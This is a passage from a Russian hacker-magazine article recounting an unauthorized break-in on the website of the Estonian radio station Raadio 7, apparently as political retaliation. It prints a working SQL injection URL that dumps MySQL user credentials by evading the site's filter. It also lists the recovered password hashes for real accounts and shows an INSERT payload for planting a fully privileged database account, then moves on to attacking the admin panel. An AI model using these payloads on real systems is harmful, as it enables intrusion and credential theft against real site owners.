Наш ответ Эстонии Леонид «R0id» Стройков Хакер, номер #102, стр. 102-062-2 Создавалось впечатление, что программисты, писавшие двиг, курили какую-то загадочную траву и делали это с завидной регулярностью. По опыту скажу тебе, что если программеры курят, то обычно они делятся травой с админом =). Поэтому я принялся раскручивать найденные баги. Наиболее удобный для реализации инъект был в скрипте saated.asp. Обойдя фильтрацию символов с помощью aes_decrypt/aes_encrypt и поиграв с параметрами, я выяснил, что на сервере крутится винда, а в качестве БД стоит MySQL версии 4.1.12. Кроме того, удалось выдрать аккаунты из mysql.user: http://www.raadio7.ee/saated.asp?id=9999+union+select+1,2,3,4,aes_decrypt(aes_encrypt(CONCAT(user,%20CHAR(32,45,32),%20password),0x71), 0x71),6+from+mysql.user/* К сожалению, часть пассов лежала в хэше SHA-1: root - *AD4B23E06DAC7D62A0786BAC66EC876A53E24443 teeliste - *1ED3FD5494C65F34A15285A87D7712F29B7250FD 24x7 - 248bfe963fe80077 Забегая вперед, скажу, что брут хэшей результатов не дал (хотя, возможно, тебе повезет больше =)). Не получилось подобрать и название таблички в базе. Вероятно, часть инфы хранилась в mdb. Тогда я решил попробовать проинсертить mysql.user и добавить новую учетку. Запрос в общем виде выглядел так: INSERT+INTO+`user`+(+`Host`,`User`,`Password`,`Select_priv`,`Insert_priv`,`Update_priv`,`Delete_priv`,`Create_priv`,`Drop_priv`,`Reload_priv`,`Shutdown_priv`, `Process_priv`,`File_priv`,`Grant_priv`,`References_priv`,`Index_priv`,`Alter_priv`,`Show_db_priv`,`Super_priv`,`Create_tmp_table_priv`, `Lock_tables_priv`,`Execute_priv`,`Repl_slave_priv`,`Repl_client_priv`,`ssl_type`,`ssl_cipher`,`x509_issuer`,`x509_subject`,`max_questions`, `max_updates`,`max_connections` )+VALUES+( '%' ,'blabla' ,'319a703529b946a8' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'Y' ,'' ,'' ,'' ,'' ,'' ,'' ,'' )"; Здесь имя юзера - blabla, хэш пасса - 319a703529b946a8, а значение в поле Host - %. Но, как я ни старался, «мускул» был непреклонен. В итоге, задумка с инсертом отправилась в /dev/null. К этому времени за окном давно стемнело и уже чувствовалась усталость от проделанной работы. Плюнув на Raadio 7, вместе с их сайтом, я выключил ноут и лег спать. Наше дело правое, победа будет за нами! Проснувшись, первым делом я зашел на сайт все того же радио. Какая-то непреодолимая сила тянула меня на этот ресурс, а учитывая найденные баги, бросать взлом на полпути я совершенно не планировал. Собравшись с мыслями, я решил попробовать пойти в обход, то есть атаковать с фланга. Под этим самым флангом я подразумевал найденную минутой раньше админку ресурса, которая, как ни странно, лежала в стандартном каталоге по адресу: www.raadio7.ee/admin/ Входящие в поля логина данные успешно фильтровались, что исключало присутствие инъекта. Мое внимание привлекла еще одна деталь - название админки: Source4Developers Poll v1,1. Тут же возникла идея во что бы то ни стало найти сорцы этого двига. Первоначально я надеялся на то, что скрипты админки, которые были написаны на ASP, взаимодействуют с «мускулом». Следовательно, я бы мог узнать название таблички, хранящей админские аккаунты, и через имеющийся инъект выдрать логин/пасс администратора Raadio 7. На поиск сорцов Source4Developers Poll ушло больше получаса. Причем удалось слить лишь более старую версию, и то с какого-то Богом забытого забугорного варезника. Как выяснилось, двиг представлял собой систему опросов, а в каталоге /admin обитали интересующие меня asp-скрипты. Открыв default.asp, который отвечал за процесс логина в админку, я выдрал из него лишь одну строчку: |